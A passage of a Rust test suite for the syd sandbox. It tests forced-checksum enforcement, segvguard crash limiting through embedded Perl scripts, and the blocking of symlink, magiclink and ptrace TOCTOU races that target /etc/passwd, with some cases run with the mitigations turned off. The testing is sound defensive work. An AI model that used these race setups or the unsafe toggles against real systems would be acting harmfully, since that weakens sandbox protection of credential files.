            .m(format!("force+{bin_true}:{bad_crc64}{act}"))
            .argv(["true"])
            .status()
            .expect("execute syd");
        match act {
            ":kill" => {
                assert_status_killed!(status);
            }
            ":panic" => {
                //We do NOT panic the main thread.
                //assert_status_panicked!(status);
                assert_status_access_denied!(status);
            }
            _ => {
                assert_status_access_denied!(status);
            }
        };

        let status = syd()
            .p("off")
            .m("sandbox/force:on")
            .m("default/force:warn")
            .m(format!("force+{bin_true}:{bad_md5}{act}"))
            .argv(["true"])
            .status()
            .expect("execute syd");
        match act {
            ":kill" => {
                assert_status_killed!(status);
            }
            ":panic" => {
                //We do NOT panic the main thread.
                //assert_status_panicked!(status);
                assert_status_access_denied!(status);
            }
            _ => {
                assert_status_access_denied!(status);
            }
        };

        let status = syd()
            .p("off")
            .m("sandbox/force:on")
            .m("default/force:warn")
            .m(format!("force+{bin_true}:{bad_sha1}{act}"))
            .argv(["true"])
            .status()
            .expect("execute syd");
        match act {
            ":kill" => {
                assert_status_killed!(status);
            }
            ":panic" => {
                //We do NOT panic the main thread.
                //assert_status_panicked!(status);
                assert_status_access_denied!(status);
            }
            _ => {
                assert_status_access_denied!(status);
            }
        };

        let status = syd()
            .p("off")
            .m("sandbox/force:on")
            .m("default/force:warn")
            .m(format!("force+{bin_true}:{bad_sha256}{act}"))
            .argv(["true"])
            .status()
            .expect("execute syd");
        match act {
            ":kill" => {
                assert_status_killed!(status);
            }
            ":panic" => {
                //We do NOT panic the main thread.
                //assert_status_panicked!(status);
                assert_status_access_denied!(status);
            }
            _ => {
                assert_status_access_denied!(status);
            }
        };

        let status = syd()
            .p("off")
            .m("sandbox/force:on")
            .m("default/force:warn")
            .m(format!("force+{bin_true}:{bad_sha384}{act}"))
            .argv(["true"])
            .status()
            .expect("execute syd");
        match act {
            ":kill" => {
                assert_status_killed!(status);
            }
            ":panic" => {
                //We do NOT panic the main thread.
                //assert_status_panicked!(status);
                assert_status_access_denied!(status);
            }
            _ => {
                assert_status_access_denied!(status);
            }
        };

        let status = syd()
            .p("off")
            .m("sandbox/force:on")
            .m("default/force:warn")
            .m(format!("force+{bin_true}:{bad_sha512}{act}"))
            .argv(["true"])
            .status()
            .expect("execute syd");
        match act {
            ":kill" => {
                assert_status_killed!(status);
            }
            ":panic" => {
                //We do NOT panic the main thread.
                //assert_status_panicked!(status);
                assert_status_access_denied!(status);
            }
            _ => {
                assert_status_access_denied!(status);
            }
        };
    }

    Ok(())
}

fn test_syd_segvguard_core_safe_default() -> TestResult {
    skip_if_strace!();
    skip_unless_available!("perl");

    let syd_do = &SYD_DO.to_string();
    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .do__("segv")
        .argv(["perl", "-e"])
        .arg(format!(
            r#"
use strict;
use warnings;
use Errno qw(EACCES);
use POSIX qw(:errno_h :signal_h :sys_wait_h);

# WCOREDUMP is not POSIX.
sub wcoredump {{
    my $status = shift;
    return ($status & 128) != 0;
}}

# Common variables.
my $pid;
my $sig;
my $code;
my $status;

# segvguard/maxcrashes is set to 5 by default.
my $coredumps = 0; # safe mode, may never trigger segvguard.
for my $i (1..5) {{
    $pid = fork();
    if ($pid == 0) {{ # Child process
        # Exit with the actual errno if exec fails.
        exec('{syd_do}') or exit($! & 255);
    }}

    waitpid($pid, 0);
    $status = $?;
    if (WIFEXITED($status)) {{
        $code = WEXITSTATUS($status);
        die "process $i did not dump core but exited with code $code\n";
    }} elsif (WIFSIGNALED($status)) {{
        warn "process $i was terminated by signal " . WTERMSIG($status) . "\n";
        if (wcoredump($status)) {{
            $coredumps += 1;
            warn "process $i dumped core.\n";
        }} else {{
            warn "process $i did not dump core.\n";
        }}
    }} else {{
        die "process $i exited unexpectedly with status $status\n";
    }}
}}

warn "caused $coredumps coredumps, proceeding...\n";

# Now segvguard must block.
$pid = fork();
if ($pid == 0) {{
    # Exit with the actual errno if exec fails.
    exec('{syd_do}') or exit($! & 255);
}}
waitpid($pid, 0);
$status = $?;
if (WIFEXITED($status)) {{
    $code = WEXITSTATUS($status);
    if ($code == EACCES) {{
        warn "execution was prevented by segvguard\n";
    }} else {{
        die "process was terminated with unexpected code $code\n";
    }}
}} else {{
    die "process exited unexpectedly with status $status\n";
}}

# Ensure segvguard allows everything else.
$pid = fork();
if ($pid == 0) {{
    # Exit with the actual errno if exec fails.
    exec('true') or exit($! & 255);
}}
waitpid($pid, 0);
$status = $?;
if (WIFEXITED($status)) {{
    $code = WEXITSTATUS($status);
    if ($code == 0) {{
        warn "execution was allowed by segvguard\n";
    }} else {{
        die "process exited with unexpected code $code\n";
    }}
}} else {{
    die "process exited unexpectedly with status $status\n";
}}

# Disable segvguard and retry!
if (-c '/dev/syd/segvguard/expiry:0') {{
    warn "segvguard disabled"
}} else {{
    die "failed to disable segvguard"
}}

# Now segvguard must allow.
$pid = fork();
if ($pid == 0) {{
    # Exit with the actual errno if exec fails.
    exec('{syd_do}') or exit($! & 255);
}}
waitpid($pid, 0);
$status = $?;
if (WIFEXITED($status)) {{
    $code = WEXITSTATUS($status);
    die "process was not terminated but exited with code $code\n";
}} elsif (WIFSIGNALED($status)) {{
    warn "process was terminated by signal " . WTERMSIG($status) . "\n";
    if (wcoredump($status)) {{
        warn "process dumped core.\n";
    }} else {{
        warn "process did not dump core.\n";
    }}
}} else {{
    die "process exited unexpectedly with status $status\n";
}}

1;
    "#,
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_segvguard_core_safe_kill() -> TestResult {
    skip_if_strace!();
    skip_unless_available!("perl");

    let syd_do = &SYD_DO.to_string();
    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("default/segvguard:kill")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .do__("segv")
        .argv(["perl", "-e"])
        .arg(format!(
            r#"
use strict;
use warnings;
use POSIX qw(:errno_h :signal_h :sys_wait_h);

# WCOREDUMP is not POSIX.
sub wcoredump {{
    my $status = shift;
    return ($status & 128) != 0;
}}

# Common variables.
my $pid;
my $sig;
my $code;
my $status;

# segvguard/maxcrashes is set to 5 by default.
my $coredumps = 0; # safe mode, may never trigger segvguard.
for my $i (1..5) {{
    $pid = fork();
    if ($pid == 0) {{ # Child process
        # Exit with the actual errno if exec fails.
        exec('{syd_do}') or exit($! & 255);
    }}

    waitpid($pid, 0);
    $status = $?;
    if (WIFEXITED($status)) {{
        $code = WEXITSTATUS($status);
        die "process $i did not dump core but exited with code $code\n";
    }} elsif (WIFSIGNALED($status)) {{
        warn "process $i was terminated by signal " . WTERMSIG($status) . "\n";
        if (wcoredump($status)) {{
            $coredumps += 1;
            warn "process $i dumped core.\n";
        }} else {{
            warn "process $i did not dump core.\n";
        }}
    }} else {{
        die "process $i exited unexpectedly with status $status\n";
    }}
}}

warn "caused $coredumps coredumps, proceeding...\n";

# Now segvguard must block.
$pid = fork();
if ($pid == 0) {{
    # Exit with the actual errno if exec fails.
    exec('{syd_do}') or exit($! & 255);
}}
waitpid($pid, 0);
$status = $?;
if (WIFSIGNALED($status)) {{
    $sig = WTERMSIG($status);
    if ($sig == SIGKILL) {{
        warn "execution was prevented by segvguard\n";
    }} else {{
        die "process was terminated with unexpected signal $sig\n";
    }}
}} else {{
    die "process exited unexpectedly with status $status\n";
}}

# Ensure segvguard allows everything else.
$pid = fork();
if ($pid == 0) {{
    # Exit with the actual errno if exec fails.
    exec('true') or exit($! & 255);
}}
waitpid($pid, 0);
$status = $?;
if (WIFEXITED($status)) {{
    $code = WEXITSTATUS($status);
    if ($code == 0) {{
        warn "execution was allowed by segvguard\n";
    }} else {{
        die "process exited with unexpected code $code\n";
    }}
}} else {{
    die "process exited unexpectedly with status $status\n";
}}

# Disable segvguard and retry!
if (-c '/dev/syd/segvguard/expiry:0') {{
    warn "segvguard disabled"
}} else {{
    die "failed to disable segvguard"
}}

# Now segvguard must allow.
$pid = fork();
if ($pid == 0) {{
    # Exit with the actual errno if exec fails.
    exec('{syd_do}') or exit($! & 255);
}}
waitpid($pid, 0);
$status = $?;
if (WIFEXITED($status)) {{
    $code = WEXITSTATUS($status);
    die "process was not terminated but exited with code $code\n";
}} elsif (WIFSIGNALED($status)) {{
    warn "process was terminated by signal " . WTERMSIG($status) . "\n";
    if (wcoredump($status)) {{
        warn "process dumped core.\n";
    }} else {{
        warn "process did not dump core.\n";
    }}
}} else {{
    die "process exited unexpectedly with status $status\n";
}}

1;
    "#,
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_segvguard_core_unsafe_default() -> TestResult {
    skip_if_strace!();
    skip_unless_coredumps!();
    skip_unless_available!("perl");

    let syd_do = &SYD_DO.to_string();
    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("rlimit/core:off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .do__("segv")
        .argv(["perl", "-e"])
        .arg(format!(
            r#"
use strict;
use warnings;
use Errno qw(EACCES);
use POSIX qw(:errno_h :signal_h :sys_wait_h);

# WCOREDUMP is not POSIX.
sub wcoredump {{
    my $status = shift;
    return ($status & 128) != 0;
}}

# Common variables.
my $pid;
my $sig;
my $code;
my $status;

# segvguard/maxcrashes is set to 5 by default.
for my $i (1..5) {{
    $pid = fork();
    if ($pid == 0) {{ # Child process
        exec('{syd_do}') or exit($!); # Exit with the actual errno
    }}

    waitpid($pid, 0);
    $status = $?;
    if (WIFEXITED($status)) {{
        $code = WEXITSTATUS($status);
        die "process $i did not dump core but exited with code $code\n";
    }} elsif (WIFSIGNALED($status) && wcoredump($status)) {{
        warn "process $i dumped core as expected\n";
    }} else {{
        die "process $i exited unexpectedly with status $status\n";
    }}
}}

# Now segvguard must block.
$pid = fork();
if ($pid == 0) {{
    # Exit with the actual errno if exec fails.
    exec('{syd_do}') or exit($! & 255);
}}
waitpid($pid, 0);
$status = $?;
if (WIFEXITED($status)) {{
    $code = WEXITSTATUS($status);
    if ($code == EACCES) {{
        warn "execution was prevented by segvguard\n";
    }} else {{
        die "process was terminated with unexpected code $code\n";
    }}
}} else {{
    die "process exited unexpectedly with status $status\n";
}}

# Ensure segvguard allows everything else.
$pid = fork();
if ($pid == 0) {{
    # Exit with the actual errno if exec fails.
    exec('true') or exit($! & 255);
}}
waitpid($pid, 0);
$status = $?;
if (WIFEXITED($status)) {{
    $code = WEXITSTATUS($status);
    if ($code == 0) {{
        warn "execution was allowed by segvguard\n";
    }} else {{
        die "process exited with unexpected code $code\n";
    }}
}} else {{
    die "process exited unexpectedly with status $status\n";
}}

# Disable segvguard and retry!
if (-c '/dev/syd/segvguard/expiry:0') {{
    warn "segvguard disabled"
}} else {{
    die "failed to disable segvguard"
}}

# Now segvguard must allow.
$pid = fork();
if ($pid == 0) {{
    # Exit with the actual errno if exec fails.
    exec('{syd_do}') or exit($! & 255);
}}
waitpid($pid, 0);
$status = $?;
if (WIFEXITED($status)) {{
    $code = WEXITSTATUS($status);
    die "process did not dump core but exited with code $code\n";
}} elsif (WIFSIGNALED($status) && wcoredump($status)) {{
    warn "process dumped core as expected\n";
}} else {{
    die "process exited unexpectedly with status $status\n";
}}

1;
    "#,
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_segvguard_core_unsafe_kill() -> TestResult {
    skip_if_strace!();
    skip_unless_coredumps!();
    skip_unless_available!("perl");

    let syd_do = &SYD_DO.to_string();
    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("default/segvguard:kill")
        .m("rlimit/core:off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .do__("segv")
        .argv(["perl", "-e"])
        .arg(format!(
            r#"
use strict;
use warnings;
use POSIX qw(:errno_h :signal_h :sys_wait_h);

# WCOREDUMP is not POSIX.
sub wcoredump {{
    my $status = shift;
    return ($status & 128) != 0;
}}

# Common variables.
my $pid;
my $sig;
my $code;
my $status;

# segvguard/maxcrashes is set to 5 by default.
for my $i (1..5) {{
    $pid = fork();
    if ($pid == 0) {{ # Child process
        # Exit with the actual errno if exec fails.
        exec('{syd_do}') or exit($! & 255);
    }}

    waitpid($pid, 0);
    $status = $?;
    if (WIFEXITED($status)) {{
        $code = WEXITSTATUS($status);
        die "process $i did not dump core but exited with code $code\n";
    }} elsif (WIFSIGNALED($status) && wcoredump($status)) {{
        warn "process $i dumped core as expected\n";
    }} else {{
        die "process $i exited unexpectedly with status $status\n";
    }}
}}

# Now segvguard must block
$pid = fork();
if ($pid == 0) {{
    exec('{syd_do}') or exit($!); # Exit with the actual errno
}}
waitpid($pid, 0);
$status = $?;
if (WIFSIGNALED($status)) {{
    $sig = WTERMSIG($status);
    if ($sig == SIGKILL) {{
        warn "execution was prevented by segvguard\n";
    }} else {{
        die "process was terminated with unexpected signal $sig\n";
    }}
}} else {{
    die "process exited unexpectedly with status $status\n";
}}

# Ensure segvguard allows everything else.
$pid = fork();
if ($pid == 0) {{
    # Exit with the actual errno if exec fails.
    exec('true') or exit($! & 255);
}}
waitpid($pid, 0);
$status = $?;
if (WIFEXITED($status)) {{
    $code = WEXITSTATUS($status);
    if ($code == 0) {{
        warn "execution was allowed by segvguard\n";
    }} else {{
        die "process exited with unexpected code $code\n";
    }}
}} else {{
    die "process exited unexpectedly with status $status\n";
}}

# Disable segvguard and retry!
if (-c '/dev/syd/segvguard/expiry:0') {{
    warn "segvguard disabled"
}} else {{
    die "failed to disable segvguard"
}}

# Now segvguard must allow
$pid = fork();
if ($pid == 0) {{
    # Exit with the actual errno if exec fails.
    exec('{syd_do}') or exit($! & 255);
}}
waitpid($pid, 0);
$status = $?;
if (WIFEXITED($status)) {{
    $code = WEXITSTATUS($status);
    die "process did not dump core but exited with code $code\n";
}} elsif (WIFSIGNALED($status) && wcoredump($status)) {{
    warn "process dumped core as expected\n";
}} else {{
    die "process exited unexpectedly with status $status\n";
}}

1;
    "#,
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_segvguard_suspension_safe() -> TestResult {
    skip_if_strace!();
    skip_unless_available!("perl");

    let syd_do = &SYD_DO.to_string();
    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .do__("segv")
        .argv(["perl", "-e"])
        .arg(format!(
            r#"
use strict;
use warnings;
use POSIX qw(:errno_h :sys_wait_h);

# WCOREDUMP is not POSIX.
sub wcoredump {{
    my $status = shift;
    return ($status & 128) != 0;
}}

# Common variables.
my $pid;
my $code;
my $status;

# Set segvguard suspension to 10 seconds.
if (-c '/dev/syd/segvguard/suspension:10') {{
    warn "segvguard suspension set to 10 seconds"
}} else {{
    die "failed to set segvguard suspension"
}}

my $coredumps = 0; # safe mode, may never trigger segvguard.
for my $i (1..5) {{
    $pid = fork();
    if ($pid == 0) {{ # Child process
        exec('{syd_do}') or exit($!); # Exit with the actual errno
    }}

    waitpid($pid, 0);
    $status = $?;
    if (WIFEXITED($status)) {{
        $code = WEXITSTATUS($status);
        die "process $i did not dump core but exited with code $code\n";
    }} elsif (WIFSIGNALED($status)) {{
        warn "process $i was terminated by signal " . WTERMSIG($status) . "\n";
        if (wcoredump($status)) {{
            $coredumps += 1;
            warn "process $i dumped core.\n";
        }} else {{
            warn "process $i did not dump core.\n";
        }}
    }} else {{
        die "process $i exited unexpectedly with status $status\n";
    }}
}}

warn "caused $coredumps coredumps, proceeding...\n";

# Ensure segvguard suspension expires.
warn "waiting 10 seconds for segvguard suspension to expire...";
sleep 10;

# Now segvguard must allow.
$pid = fork();
if ($pid == 0) {{
    exec('{syd_do}') or exit($!); # Exit with the actual errno
}}
waitpid($pid, 0);
$status = $?;
if (WIFEXITED($status)) {{
    $code = WEXITSTATUS($status);
    die "process did not dump core but exited with code $code\n";
}} elsif (WIFSIGNALED($status) && wcoredump($status)) {{
    warn "process dumped core as expected\n";
}} elsif (WIFSIGNALED($status)) {{
    warn "process terminated with signal " . WTERMSIG($status) . " without coredump\n";
}} else {{
    die "process exited unexpectedly with status $status\n";
}}

1;
    "#,
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_segvguard_suspension_unsafe() -> TestResult {
    skip_if_strace!();
    skip_unless_coredumps!();
    skip_unless_available!("perl");

    let syd_do = &SYD_DO.to_string();
    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("rlimit/core:off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .do__("segv")
        .argv(["perl", "-e"])
        .arg(format!(
            r#"
use strict;
use warnings;
use POSIX qw(:errno_h :sys_wait_h);

# WCOREDUMP is not POSIX.
sub wcoredump {{
    my $status = shift;
    return ($status & 128) != 0;
}}

# Common variables.
my $pid;
my $code;
my $status;

# Set segvguard suspension to 10 seconds.
if (-c '/dev/syd/segvguard/suspension:10') {{
    warn "segvguard suspension set to 10 seconds"
}} else {{
    die "failed to set segvguard suspension"
}}

# segvguard/maxcrashes is set to 5 by default.
for my $i (1..5) {{
    $pid = fork();
    if ($pid == 0) {{ # Child process
        exec('{syd_do}') or exit($!); # Exit with the actual errno
    }}

    waitpid($pid, 0);
    $status = $?;
    if (WIFEXITED($status)) {{
        $code = WEXITSTATUS($status);
        die "process $i did not dump core but exited with code $code\n";
    }} elsif (WIFSIGNALED($status) && wcoredump($status)) {{
        warn "process $i dumped core as expected\n";
    }} else {{
        die "process $i exited unexpectedly with status $status\n";
    }}
}}

# Ensure segvguard suspension expires.
warn "waiting 10 seconds for segvguard suspension to expire...";
sleep 10;

# Now segvguard must allow.
$pid = fork();
if ($pid == 0) {{
    exec('{syd_do}') or exit($!); # Exit with the actual errno
}}
waitpid($pid, 0);
$status = $?;
if (WIFEXITED($status)) {{
    $code = WEXITSTATUS($status);
    die "process did not dump core but exited with code $code\n";
}} elsif (WIFSIGNALED($status) && wcoredump($status)) {{
    warn "process dumped core as expected\n";
}} else {{
    die "process exited unexpectedly with status $status\n";
}}

1;
    "#,
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_prevent_path_unhide_by_passthru() -> TestResult {
    skip_unless_available!(
        "sh", "stat", "readlink", "ln", "mkdir", "touch", "rm", "cat", "chmod", "test"
    );

    let status = syd()
        .p("fs")
        .m("sandbox/lpath:on")
        .m("allow/all+/***")
        .m("lock:exec")
        .arg("sh")
        .arg("-c")
        .arg(PATH_UNHIDE_TEST_SCRIPT)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_magiclink_sandbox() -> TestResult {
    skip_unless_available!("bash", "cat", "dd", "grep", "head", "readlink", "stat", "tail");

    let status = syd()
        .m("allow/fs+all") // for nsfs access
        .m("allow/all+/***")
        .m("trace/allow_unsafe_magiclinks:1")
        .arg("bash")
        .arg("-c")
        .arg(MAGIC_SYMLINKS_TEST_SCRIPT)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_magiclink_linux() -> TestResult {
    skip_unless_available!("bash", "cat", "dd", "grep", "head", "readlink", "stat", "tail");

    let status = Command::new("bash")
        .arg("-c")
        .arg(MAGIC_SYMLINKS_TEST_SCRIPT)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_magiclink_toctou() -> TestResult {
    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .m("deny/all+/etc/passwd")
        .m("filter/all+/etc/passwd")
        .do_("magiclink_toctou", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_symlink_toctou() -> TestResult {
    skip_if_strace!();
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create,symlink:on")
        .m("allow/read,stat,write,create,symlink+/***")
        .m("deny/stat+/etc/***")
        .m("allow/stat+/etc/ld*")
        .m("deny/read,write,create,symlink+/etc/passwd")
        .m("filter/read,stat,write+/etc/passwd")
        .do_("symlink_toctou", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_symlinkat_toctou() -> TestResult {
    skip_if_strace!();
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create,symlink:on")
        .m("allow/read,stat,write,create,symlink+/***")
        .m("deny/stat+/etc/***")
        .m("allow/stat+/etc/ld*")
        .m("deny/read,write,create,symlink+/etc/passwd")
        .m("filter/read,stat,write+/etc/passwd")
        .do_("symlinkat_toctou", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_symlink_exchange_toctou_mid() -> TestResult {
    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .m("deny/all+/etc/passwd")
        .m("filter/all+/etc/passwd")
        .do_("symlink_exchange_toctou_mid", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_symlink_exchange_toctou_root() -> TestResult {
    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .m("deny/all+/etc/passwd")
        .m("filter/all+/etc/passwd")
        .do_("symlink_exchange_toctou_root", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_symlink_exchange_toctou_last() -> TestResult {
    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .m("deny/all+/etc/passwd")
        .m("filter/all+/etc/passwd")
        .do_("symlink_exchange_toctou_last", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_ptrmod_toctou_chdir_1() -> TestResult {
    skip_if_strace!();

    let status = syd()
        .log("error")
        .p("off")
        .m("sandbox/chdir:on")
        .m("allow/chdir+/***")
        .m("deny/chdir+/var/empty/***")
        .do_("ptrmod_toctou_chdir", NONE)
        .status()
        .expect("execute syd");
    assert_status_killed!(status);
    Ok(())
}

fn test_syd_ptrmod_toctou_chdir_2() -> TestResult {
    let status = syd()
        .log("error")
        .p("off")
        .m("trace/allow_unsafe_ptrace:1")
        .m("sandbox/chdir:on")
        .m("allow/chdir+/***")
        .m("deny/chdir+/var/empty/***")
        .do_("ptrmod_toctou_chdir", NONE)
        .status()
        .expect("execute syd");
    const EXKILL: i32 = 128 + libc::SIGKILL;
    assert_status_code_matches!(status, 1 | EXKILL);
    Ok(())
}

fn test_syd_ptrmod_toctou_exec_fail() -> TestResult {
    skip_if_strace!();
    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("deny/exec+/**/toctou_exec")
        .do_("ptrmod_toctou_exec_fail", NONE)
        .status()
        .expect("execute syd");
    // FIXME: https://bugzilla.kernel.org/show_bug.cgi?id=218501
    fixup!(status.success(), "status:{status:?}");
    Ok(())
}

fn test_syd_ptrmod_toctou_exec_binary_success_quick() -> TestResult {
    skip_if_strace!();
    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("deny/exec+/**/toctou_exec")
        .do_("ptrmod_toctou_exec_binary_success_quick", NONE)
        .status()
        .expect("execute syd");
    const EXKILL: i32 = 128 + libc::SIGKILL;
    assert!(
        matches!(status.code().unwrap_or(127), 0 | EXKILL),
        "status:{status:?}"
    );
    Ok(())
}

fn test_syd_ptrmod_toctou_exec_binary_success_double_fork() -> TestResult {
    skip_if_strace!();
    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("deny/exec+/**/toctou_exec")
        .do_("ptrmod_toctou_exec_binary_success_double_fork", NONE)
        .status()
        .expect("execute syd");
    const EXKILL: i32 = 128 + libc::SIGKILL;
    assert!(
        matches!(status.code().unwrap_or(127), 0 | EXKILL),
        "status:{status:?}"
    );
    Ok(())
}

fn test_syd_ptrmod_toctou_exec_binary_success_quick_no_mitigation() -> TestResult {
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_ptrace:1")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("deny/exec+/**/toctou_exec")
        .do_("ptrmod_toctou_exec_binary_success_quick", NONE)
        .status()
        .expect("execute syd");
    // FIXME: https://bugzilla.kernel.org/show_bug.cgi?id=218501
    const EXKILL: i32 = 128 + libc::SIGKILL;
    fixup!(
        matches!(status.code().unwrap_or(127), 0 | EXKILL),
        "status:{status:?}"
    );
    Ok(())
}

fn test_syd_ptrmod_toctou_exec_binary_success_double_fork_no_mitigation() -> TestResult {
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_ptrace:1")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("deny/exec+/**/toctou_exec")
        .do_("ptrmod_toctou_exec_binary_success_double_fork", NONE)
        .status()
        .expect("execute syd");
    // FIXME: https://bugzilla.kernel.org/show_bug.cgi?id=218501
    const EXKILL: i32 = 128 + libc::SIGKILL;
    fixup!(
        matches!(status.code().unwrap_or(127), 0 | EXKILL),
        "status:{status:?}"
    );
    Ok(())
}

fn test_syd_ptrmod_toctou_exec_script_success_quick() -> TestResult {
    skip_if_strace!();
    // Test requires /bin/false to be denylisted.
    // false may point to various alternatives such
    // as gfalse, coreutils, busybox etc.
    let f = Path::new("/bin/false").canonicalize().expect("/bin/false");
    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("deny/exec+/**/toctou_exec")
        .m(format!("deny/exec+{}", f.display()))
        .do_("ptrmod_toctou_exec_script_success_quick", NONE)
        .status()
        .expect("execute syd");
    const EXKILL: i32 = 128 + libc::SIGKILL;
    assert!(
        matches!(status.code().unwrap_or(127), 0 | EXKILL),
        "status:{status:?}"
    );
    Ok(())
}

fn test_syd_ptrmod_toctou_exec_script_success_double_fork() -> TestResult {
    skip_if_strace!();
    // Test requires /bin/false to be denylisted.
    // false may point to various alternatives such
    // as gfalse, coreutils, busybox etc.
    let f = Path::new("/bin/false").canonicalize().expect("/bin/false");
    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("deny/exec+/**/toctou_exec")
        .m("filter/exec+/**/toctou_exec")
        .m(format!("deny/exec+{}", f.display()))
        .do_("ptrmod_toctou_exec_script_success_double_fork", NONE)
        .status()
        .expect("execute syd");
    const EXKILL: i32 = 128 + libc::SIGKILL;
    assert!(
        matches!(status.code().unwrap_or(127), 0 | EXKILL),
        "status:{status:?}"
    );
    Ok(())
}

fn test_syd_ptrmod_toctou_exec_script_success_quick_no_mitigation() -> TestResult {
    // Test requires /bin/false to be denylisted.
    // false may point to various alternatives such
    // as gfalse, coreutils, busybox etc.
    let f = Path::new("/bin/false").canonicalize().expect("/bin/false");
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_ptrace:1")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("deny/exec+/**/toctou_exec")
        .m("filter/exec+/**/toctou_exec")
        .m(format!("deny/exec+{}", f.display()))
        .do_("ptrmod_toctou_exec_script_success_quick", NONE)
        .status()
        .expect("execute syd");
    // FIXME: https://bugzilla.kernel.org/show_bug.cgi?id=218501
    const EXKILL: i32 = 128 + libc::SIGKILL;
    fixup!(
        matches!(status.code().unwrap_or(127), 0 | EXKILL),
        "status:{status:?}"
    );
    Ok(())
}

fn test_syd_ptrmod_toctou_exec_script_success_double_fork_no_mitigation() -> TestResult {
    // Test requires /bin/false to be denylisted.
    // false may point to various alternatives such
    // as gfalse, coreutils, busybox etc.
    let f = Path::new("/bin/false").canonicalize().expect("/bin/false");
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_ptrace:1")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("deny/exec+/**/toctou_exec")
        .m(format!("deny/exec+{}", f.display()))
        .do_("ptrmod_toctou_exec_script_success_double_fork", NONE)
        .status()
        .expect("execute syd");
    // FIXME: https://bugzilla.kernel.org/show_bug.cgi?id=218501
    const EXKILL: i32 = 128 + libc::SIGKILL;
    fixup!(
        matches!(status.code().unwrap_or(127), 0 | EXKILL),
        "status:{status:?}"
    );
    Ok(())
}

fn test_syd_ptrmod_toctou_open() -> TestResult {
    skip_if_strace!();
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat,write,create+/***")
        .m("deny/stat+/etc/***")
        .m("allow/stat+/etc/ld*")
        .m("deny/read,write,create+/etc/passwd")
        .m("filter/read,stat,write+/etc/passwd")
        .do_("ptrmod_toctou_open", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_ptrmod_toctou_creat() -> TestResult {
    skip_if_strace!();
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat,write,create+/***")
        .m("deny/stat+/etc/***")
        .m("allow/stat+/etc/ld*")
        .m("deny/write,create+/**/deny.syd-tmp*")
        .m("filter/write,create+/**/deny.syd-tmp*")
        .do_("ptrmod_toctou_creat", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_ptrmod_toctou_opath_default() -> TestResult {
    skip_if_strace!();
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat,write,create+/***")
        .m("allow/stat+/etc")
        .m("deny/stat+/etc/**")
        .m("allow/stat+/etc/ld*")
        .m("deny/read,stat,write,create+/etc/passwd")
        .m("filter/read,stat,write+/etc/passwd")
        .do_("ptrmod_toctou_opath", NONE)
        .status()
        .expect("execute syd");
    // By default we turn O_PATH to O_RDONLY so there's no TOCTOU.
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_ptrmod_toctou_opath_unsafe() -> TestResult {
    skip_if_strace!();
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_open_path:1")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat,write,create+/***")
        .m("allow/stat+/etc")
        .m("deny/stat+/etc/**")
        .m("allow/stat+/etc/ld*")
